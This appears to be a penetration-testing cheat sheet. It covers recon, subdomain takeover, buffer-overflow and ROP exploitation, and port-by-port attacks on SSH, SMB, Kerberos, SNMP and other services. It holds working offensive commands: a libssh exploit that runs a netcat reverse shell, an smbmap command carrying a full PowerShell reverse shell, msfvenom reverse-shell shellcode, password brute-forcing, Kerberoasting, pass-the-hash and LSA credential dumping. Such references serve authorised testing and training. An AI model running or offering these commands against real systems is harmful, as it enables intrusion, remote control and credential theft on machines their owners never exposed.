site:target.com intitle:"test" -support
site:target.com ext:php | ext:html
site:subdomain.target.com
site:target.com inurl:auth
site:target.com inurl:dev
# Check in GitHub for SSH keys
https://shhgit.darkport.co.uk/
https://github.com/eth0izzle/shhgit
AIO Recon tools
# https://github.com/thewhiteh4t/FinalRecon
python3 finalrecon.py --full https://example.com
# https://github.com/evyatarmeged/Raccoon
raccoon domain.com
# https://github.com/s0md3v/Photon
sudo python3 photon.py -u domain.com -l 3 -t 10 -v --wayback --keys --dns
# https://github.com/j3ssie/Osmedeus
osmedeus scan -t target.com
Domain enum
# DNSRecon
dnsrecon -d www.example.com -a
dnsrecon -d www.example.com -t axfr
dnsrecon -d
dnsrecon -d www.example.com -D -t brt
# Dig
dig www.example.com + short
dig www.example.com MX
dig www.example.com NS
dig www.example.com> SOA
dig www.example.com ANY +noall +answer
dig -x www.example.com
dig -4 www.example.com (For IPv4)
dig -6 www.example.com (For IPv6)
dig www.example.com mx +noall +answer example.com ns +noall +answer
dig -t AXFR www.example.com
dig axfr @10.11.1.111 example.box
# dnsenum
dnsenum 10.11.1.111
Subdomain finder
# Best tools overall
./sub.sh -a example.com
./chomp-scan.sh -u example.com
# Other common tools
assetfinder example.com
subfinder -d example.com
knockpy domain.com
amass enum -active -d example.com
python3 domained.py -d example.com --quick
# AltDNS - Subdomains of subdomains XD
altdns -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt
# Onliner to find (sub)domains related to a kword on pastebin through google
# https://github.com/gwen001/pentest-tools/blob/master/google-search.py
google-search.py -t "site:http://pastebin.com kword" -b -d -s 0 -e 5 | sed "s/\.com\//\.com\/raw\//" | xargs curl -s | egrep -ho "[a-zA-Z0-9_\.\-]+kword[a-zA-Z0-9_\.\-]+" | sort -fu
# Aquatone - Validate subdomains (take screenshots and generate report)
cat hosts.txt | aquatone
# Subdomain bruteforcing
sudo python3 subbrute.py example.com > subbrute_results.txt && massdns -r /MASSDNSPATH/lists/resolvers.txt -t A subbrute_results.txt -o S -w massdns_output.txt
gobuster -m dns -u domain.com -t 100 -w /path/dictionary.txt
# Wildcard subdomain
dig a *.domain.com = dig a asdasdasd132123123213.domain.com -> this is a wildcard subdomain
Subdomain takeover
Explanation:
1. Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com).
2. At some point, anotherdomain.com expires and is available for anyone's registration.
3. Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present.
Best resources:
https://0xpatrik.com/takeover-proofs/
https://github.com/EdOverflow/can-i-take-over-xyz
https://blog.initd.sh/others-attacks/mis-configuration/subdomain-takeover-explained/
# Subzy
https://github.com/LukaSikic/subzy
subzy -targets list.txt
subzy -concurrency 100 -hide_fails -targets subs.txt
# SubOver
# https://github.com/Ice3man543/SubOver
SubOver -l /root/subdomains.txt -t 100 # Subdomains generated with subgen
# autoSubTakeover
https://github.com/JordyZomer/autoSubTakeover
pip install autosubtakeover
autosubtakeover --wordlist domains.txt
# subjack
https://github.com/haccer/subjack
subjack -w /root/subdomain.txt -a -v -t 100 -timeout 30 -o results.txt -ssl # Subdomains generated with subgen
# subdomain-takeover
# https://github.com/antichown/subdomain-takeover
python takeover.py -d domain.com -w /root/Repos/SecLists/Discovery/DNS/clean-jhaddix-dns.txt -t 100
# subgen (subdomain list generator)
# https://github.com/pry0cc/subgen
go get -u github.com/pry0cc/subgen
cat wordlist.txt | subgen -d "uber.com"
cat /home/user/Escritorio/tools/SecLists/Discovery/DNS/clean-jhaddix-dns.txt | subgen -d domain.com | massdns -r /usr/share/wordlists/dns.txt -t A -o S -w results.txt
Check for results.txt
Network scanning
# Netdiscover
netdiscover -i eth0
netdiscover -r 10.11.1.1/24
# Nmap
nmap -sn 10.11.1.1/24
nmap -sn 10.11.1.1-253
nmap -sn 10.11.1.*
# NetBios
nbtscan -r 10.11.1.1/24
# Linux Ping Sweep (Bash)
for i in {1..254} ;do (ping -c 1 172.21.10.$i | grep "bytes from" &) ;done
# Windows Ping Sweep (Run on Windows System)
for /L %i in (1,1,255) do @ping -n 1 -w 200 172.21.10.%i > nul && echo 192.168.1.%i is up.
nmap - host scanning
# Fast simple scan
nmap 10.11.1.111
# Nmap ultra fast
nmap 10.11.1.111 --max-retries 1 --min-rate 1000
# Full complete slow scan with output
nmap -v -A -p- -Pn --script vuln -oA full 10.11.1.111
# Scan for UDP
nmap 10.11.1.111 -sU
unicornscan -mU -v -I 10.11.1.111
# Connect to udp if one is open
nc -u 10.11.1.111 48772
# Responder:
responder -I eth0 -A
tcpdump - packet scan
tcpdump -i eth0
tcpdump -c -i eth0
tcpdump -A -i eth0
tcpdump -w 0001.pcap -i eth0
tcpdump -r 0001.pcap
tcpdump -n -i eth0
tcpdump -i eth0 port 22
tcpdump -i eth0 -src 172.21.10.X
tcpdump -i eth0 -dst 172.21.10.X
My methodology
# Full subdomain enum
./sub.sh -a example.com
./chomp-scan.sh -u example.com
# Take snapshots of every subdomainy
cat subdomains.txt | aquatone -out ~/aquatone/whatever
eyewitness -file subs.txt --prepend-https
# Get unique IPs alive hosts and port scan
nmap -iL subs.txt -Pn -n -sn -oG - | awk '/Up$/{print $2}' > subs_ip_alive.txt
masscan -iL subs_alive.txt -p7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157 --max-rate 10000
# Check for every github repository
gitrob githubaccount
# Check for wayback urls and robots
waybackurls example.com
python3 waybackrobots.py
python3 waybackurls.py
# Check passwords leaks
python3 pwndb.py --target @example.com
python3 pwndb.py --target user@example.com
description: Random stuff that I consider useful
Others
Exploiting
Basics
**Tools**
https://github.com/apogiatzis/gdb-peda-pwndbg-gef
* gdb-peda
* gdb-gef
* pwndbg
* radare2
* ropper
* pwntools
# Web compiler
https://www.godbolt.org/
# Check protections:
checksec binary
rabin2 -I ret2win32
# Functions
rabin2 -i
# Strings
rabin2 -z ret2win32
BOF Basic Win32
1. Send "A"*1024
2. Replace "A" with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH
3. When crash "!mona findmsp" (E10.11.1.111 offset) or ""/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q TEXT" or "!mona pattern_offset eip"
4. Confirm the location with "B" and "C"
5. Check for badchars instead CCCC (ESP):
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
with script _badchars.py and
"!mona compare -a esp -f C:\Users\IEUser\Desktop\badchar_test.bin"
5.1 AWESOME WAY TO CHECK BADCHARS (https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/):
a. !mona config -set workingfolder c:\logs\%p
b. !mona bytearray -b "\x00\x0d"
c. Copy from c:\logs\%p\bytearray.txt to python exploit and run again
d. !mona compare -f C:\logs\%p\bytearray.bin -a 02F238D0 (ESP address)
e. In " data", before unicode chars it shows badchars.
6. Find JMP ESP with "!mona modules" or "!mona jmp -r esp" or "!mona jmp -r esp -cpb '\x00\x0a\x0d'" find one with security modules "FALSE"
6.1 Then, "!mona find -s "\xff\xe4" -m PROGRAM/DLL-FALSE"
6.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \x8f\x35\x4a\x5f
7. Generate shellcode and place it:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4433 -f python –e x86/shikata_ga_nai -b "\x00"
msfvenom -p windows/shell_reverse_tcp lhost=10.11.1.111 lport=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python -v shellcode
8. Final buffer like:
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
############## sample 1 ################################################
#!/usr/bin/python
import socket,sys
if len(sys.argv) != 3:
print("usage: python fuzzer.py 10.11.1.111 PORT")
exit(1)
payload = "A" * 1000
ipAddress = sys.argv[1]
port = int(sys.argv[2])
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ipAddress, port))
s.recv(1024)
print "Sending payload"
s.send(payload)
print "Done"
s.close()
except:
print "Error"
sys.exit(0)
############## sample 2 ################################################
#!/usr/bin/python
import time, struct, sys
import socket as so
try:
server = sys.argv[1]
port = 5555
except IndexError:
print "[+] Usage %s host" % sys.argv[0]
sys.exit()
req1 = "AUTH " + "\x41"*1072
s = so.socket(so.AF_INET, so.SOCK_STREAM)
try:
s.connect((server, port))
print repr(s.recv(1024))
s.send(req1)
print repr(s.recv(1024))
except:
print "[!] connection refused, check debugger"
s.close()
Protections bypasses
# NX - Execution protection
- Ret2libc
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833
-ROP
# ASLR - Random library positions
- Memory leak to Ret2libc
- ROP
# Canary - Hex end buffer
https://0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085
- Value leak
- Brute force
- Format Strings: https://owasp.org/www-community/attacks/Format_string_attack
ROP
checksec
# Listing functions imported from shared libraries is simple:
rabin2 -i
# Strings
rabin2 -z
# Relocations
rabin2 -R
# Listing just those functions written by the programmer is harder, a rough approximation could be:
rabin2 -qs | grep -ve imp -e ' 0 '
RADARE2
------------------------------------------
r2 -AAA binary # Analyze with radare2
afl # list functions
pdf @ funcion # dissassemble function to check what instruction pointer want to reach
iz # Strings
is # Symbols
px 48 @ 0x00601060 # Hex dump address
dcu 0x00400809 # Breakpoint
“press s” # Continue over breakpoint
/R pop rdi # Search instruction
/a pop rdi,ret # Search
GDB
------------------------------------------
gdb-gef binary
pattern create 200
pattern search “lalal”
r # run
c # continue
s # step
si # step into
b *0x0000000000401850 # Add breakpoint
ib # Show breakpoints
d1 # Remove breakpoint 1
d # Remove breakpoint
info functions # Check functions
x/s 0x400c2f # Examine address x/<(Mode)Format> Format:s(tring)/x(hex)/i(nstruction) Mode:l/w
ROPGadget
------------------------------------------
https://github.com/JonathanSalwan/ROPgadget
ROPgadget --binary callme32 --only "mov|pop|ret"
Ropper
------------------------------------------
ropper --file callme32 --search "pop"
readelf -S binary # Check writable locations
x32
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %eax | %ebx | %ecx | %edx | %esi | %edi | %ebp |
x64
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
| %rax | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
EXAMPLE
------------------------------------------
from pwn import *
# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')
io = process(elf.path)
gdb.attach(io)
info("%#x target", elf.symbols.ret2win)
ret2win = p64(elf.symbols["ret2win"])
payload = "A"*40 + ret2win
io.sendline(payload)
io.recvuntil("Here's your flag:")
# Get our flag!
flag = io.recvall()
success(flag)
Burp
- If Render Page crash:
sudo sysctl -w kernel.unprivileged_userns_clone=1
- Scope with all subdomains:
.*\.test\.com$
- Use Intruder to target specific parameters for scanning
- Right click: actively scan defined insertion points
# Autorize Plugin
1. Login with lower user, get the cookie or token and paste in header inside Configuration tab.
2. In second browser, login with higher privilege user and start intercepting the requests of privilged functionality like admin-panel
# Configuration
- Project Options -> HTTP -> Redirections -> Enable JavaScript-driven
- User Options -> Misc -> Proxy Interception -> Always disabled
- Target -> Site Map -> Show all && Show only in-scope items
Extender plugins/bapps
Dictionary creation
Default creds:
https://cirt.net/passwords
https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials
https://github.com/LandGrey/pydictor
https://github.com/Mebus/cupp
https://github.com/sc0tfree/mentalist
Java jar
Task - Command
Execute Jar - java -jar [jar]
Unzip Jar - unzip -d [output directory] [jar]
Create Jar - jar -cmf META-INF/MANIFEST.MF [output jar] *
Base64 SHA256 - sha256sum [file] | cut -d' ' -f1 | xxd -r -p | base64
Remove Signing - rm META-INF/*.SF META-INF/*.RSA META-INF/*.DSA
Delete from Jar - zip -d [jar] [file to remove]
Decompile class - procyon -o . [path to class]
Decompile Jar - procyon -jar [jar] -o [output directory]
Compile class - javac [path to .java file]
Tools stuff
https://tools.tldr.run/
description: Find attack vectors in your victim
Enumeration
File analysis File analysis. Ports Ports.
- Web. Web Service Web services. Cloud Cloud. AWS AWS. Azure Azure. OSINT OSINT Cloud. Docker/Kubernets Docker/Kubernetes. CDN CDN.
description: Analyzing different types of files
Files
Common
# Check real file type
file file.xxx
# Analyze strings
strings file.xxx
strings -a -n 15 file.xxx # Check the entire file and outputs strings longer than 15 chars
# Check embedded files
binwalk file.xxx # Check
binwalk -e file.xxx # Extract
# Check as binary file in hex
ghex file.xxx
# Check metadata
exiftool file.xxx
# Stego tool for multiple formats
wget https://embeddedsw.net/zip/OpenPuff_release.zip
unzip OpenPuff_release.zip -d ./OpenPuff
wine OpenPuff/OpenPuff_release/OpenPuff.exe
# Compressed files
fcrackzip file.zip
# Office documents
https://github.com/assafmo/xioc
Disk files
# guestmount can mount any kind of disk file
sudo apt-get install libguestfs-tools
guestmount --add yourVirtualDisk.vhdx --inspector --ro /mnt/anydirectory
Audio
# Check spectrogram
wget https://code.soundsoftware.ac.uk/attachments/download/2561/sonic-visualiser_4.0_amd64.deb
dpkg -i sonic-visualiser_4.0_amd64.deb
# Check for Stego
hideme stego.mp3 -f && cat output.txt #AudioStego
Images
# Stego
wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
chmod +x stegsolve.jar
java -jar stegsolve.jar
# Stegpy
stegpy -p file.png
# Check png corrupted
pngcheck -v image.jpeg
# Check what kind of image is
identify -verbose image.jpeg
Ports
General
AIO Penetration Testing Methodology - 0DAYsecurity.com
# Responder
responder -I [Interface] -A
responder -I [Interface] -i [IP Address] or -e [External IP] -A
# Make changes to config to turn off services:
nano /usr/share/responder/Responder.conf
# Check for systems with SMB Signing not enabled
python3 RunFinger.py -i 172.21.0.0/24
Port 21 - FTP
nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.11.1.111
Port 22 - SSH
- If you have usernames test login with username:username
- Vulnerable Versions to user enum: <7.7
# User can ask to execute a command right after authentication before it’s default command or shell is executed
$ ssh -v user@10.10.1.111 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(user) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
Check Auth Methods:
$ ssh -v 10.10.1.111
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Force Auth Method:
$ ssh -v 10.10.1.111 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
BruteForce:
patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111
LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
Id
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
Reverse
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"
SSH FUZZ
https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt
cpan Net::SSH2
./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user
use auxiliary/fuzzers/ssh/ssh_version_2
SSH-AUDIT
https://github.com/arthepsy/ssh-audit
• https://www.exploit-db.com/exploits/18557 ~ Sysax 5.53 – SSH ‘Username’ Remote Buffer Overflow
• https://www.exploit-db.com/exploits/45001 ~ OpenSSH < 6.6 SFTP – Command Execution
• https://www.exploit-db.com/exploits/45233 ~ OpenSSH 2.3 < 7.7 – Username Enumeration
• https://www.exploit-db.com/exploits/46516 ~ OpenSSH SCP Client – Write Arbitrary Files
http://www.vegardno.net/2017/03/fuzzing-openssh-daemon-using-afl.html
# Enum users < 7.7:
https://www.exploit-db.com/exploits/45233
python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"
# SSH Leaks:
https://shhgit.darkport.co.uk/
Port 23 - Telnet
# Get banner
telnet 10.11.1.110
# Bruteforce password
patator telnet_login host=10.11.1.110 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'
Port 25 - SMTP
nc -nvv 10.11.1.111 25
HELO foo
telnet 10.11.1.111 25
VRFY root
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111
smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111
Send email unauth:
MAIL FROM:admin@admin.com
RCPT TO:DestinationEmail@DestinationDomain.com
DATA
test
.
Receive:
250 OK
Port 53 - DNS
dig axfr @IP
dnsrecon -d domain -t axfr
fierce -dns domain.com
Port 69 - UDP - TFTP
- Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.
- Checks of FTP Port 21.
nmap -p69 --script=tftp-enum.nse 10.11.1.111
Port 88 - Kerberos
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP
use auxiliary/gather/kerberos_enumusers # MSF
# Check for Kerberoasting:
GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip <IP> -format hashcat/john
# GetUserSPNs
ASREPRoast:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
impacket-GetUserSPNs <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
Kerberoasting:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
Overpass The Hash/Pass The Key (PTK):
python3 getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
python3 getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
python3 getTGT.py <domain_name>/<user_name>:[password]
# Using TGT key to excute remote commands from the following impacket scripts:
python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
https://www.tarlogic.com/blog/como-funciona-kerberos/
https://www.tarlogic.com/blog/como-atacar-kerberos/
python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt
https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/
https://github.com/GhostPack/Rubeus
https://github.com/fireeye/SSSDKCMExtractor
Port 110 - Pop3
telnet 10.11.1.111
USER pelle@10.11.1.111
PASS admin
or:
USER pelle
PASS admin
# List all emails
list
# Retrieve email number 5, for example
retr 9
Port 111 - Rpcbind
rpcinfo -p 10.11.1.111
rpcclient -U "" 10.11.1.111
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
Port 135 - MSRPC
Some versions are vulnerable.
nmap 10.11.1.111 --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom
Port 139/445 - SMB
# Enum hostname
enum4linux -n 10.11.1.111
nmblookup -A 10.11.1.111
nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111
# Get Version
smbver.sh 10.11.1.111
Msfconsole;use scanner/smb/smb_version
ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
smbclient -L \\\\10.11.1.111
# Get Shares
smbmap -H 10.11.1.111 -R
echo exit | smbclient -L \\\\10.11.1.111
smbclient \\\\10.11.1.111\\
smbclient -L //10.11.1.111 -N
nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111
smbclient -L \\\\10.11.1.111\\
# Check null sessions
smbmap -H 10.11.1.111
rpcclient -U "" -N 10.11.1.111
smbclient //10.11.1.111/IPC$ -N
# Exploit null sessions
enum -s 10.11.1.111
enum -U 10.11.1.111
enum -P 10.11.1.111
enum4linux -a 10.11.1.111
/usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111
# Connect to username shares
smbclient //10.11.1.111/share -U username
# Connect to share anonymously
smbclient \\\\10.11.1.111\\
smbclient //10.11.1.111/
smbclient //10.11.1.111/
smbclient //10.11.1.111/<""share name"">
rpcclient -U " " 10.11.1.111
rpcclient -U " " -N 10.11.1.111
# Check vulns
nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111
# Check common security concerns
msfconsole -r /usr/share/metasploit-framwork/scripts/resource/smb_checks.rc
# Extra validation
msfconsole -r /usr/share/metasploit-framwork/scripts/resource/smb_validate.rc
# Multi exploits
msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run
# Bruteforce login
medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111 -vvvv
nmap –script smb-brute 10.11.1.111
# nmap smb enum & vuln
nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111
# Mount smb volume linux
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
# rpcclient commands
rpcclient -U "" 10.11.1.111
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
# Run cmd over smb from linux
winexe -U username //10.11.1.111 "cmd.exe" --system
# smbmap
smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum
smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE
smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing
smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell
# Check
\Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml look for user&pass "gpp-decrypt "
# CrackMapExec
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa
# Impacket
python3 samdump.py SMB 172.21.0.0
Port 161/162 UDP - SNMP
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111
nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users
snmp-check 10.11.1.111 -c public|private|community
snmpwalk -c public -v1 ipaddress 1
snmpwalk -c private -v1 ipaddress 1
snmpwalk -c manager -v1 ipaddress 1
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X
# Impacket
python3 samdump.py SNMP 172.21.0.0
# MSF aux modules
auxiliary/scanner/misc/oki_scanner
auxiliary/scanner/snmp/aix_version
auxiliary/scanner/snmp/arris_dg950
auxiliary/scanner/snmp/brocade_enumhash
auxiliary/scanner/snmp/cisco_config_tftp
auxiliary/scanner/snmp/cisco_upload_file
auxiliary/scanner/snmp/cnpilot_r_snmp_loot
auxiliary/scanner/snmp/epmp1000_snmp_loot
auxiliary/scanner/snmp/netopia_enum
auxiliary/scanner/snmp/sbg6580_enum
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/snmp/snmp_enum_hp_laserjet
auxiliary/scanner/snmp/snmp_enumshares
auxiliary/scanner/snmp/snmp_enumusers
auxiliary/scanner/snmp/snmp_login
Port 389,636 - LDAP
jxplorer
ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com"
python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt
cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt
Port 443 - HTTPS
Read the actual SSL CERT to:
- find out potential correct vhost to GET
- is the clock skewed
- any names that could be usernames for bruteforce/guessing.
./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
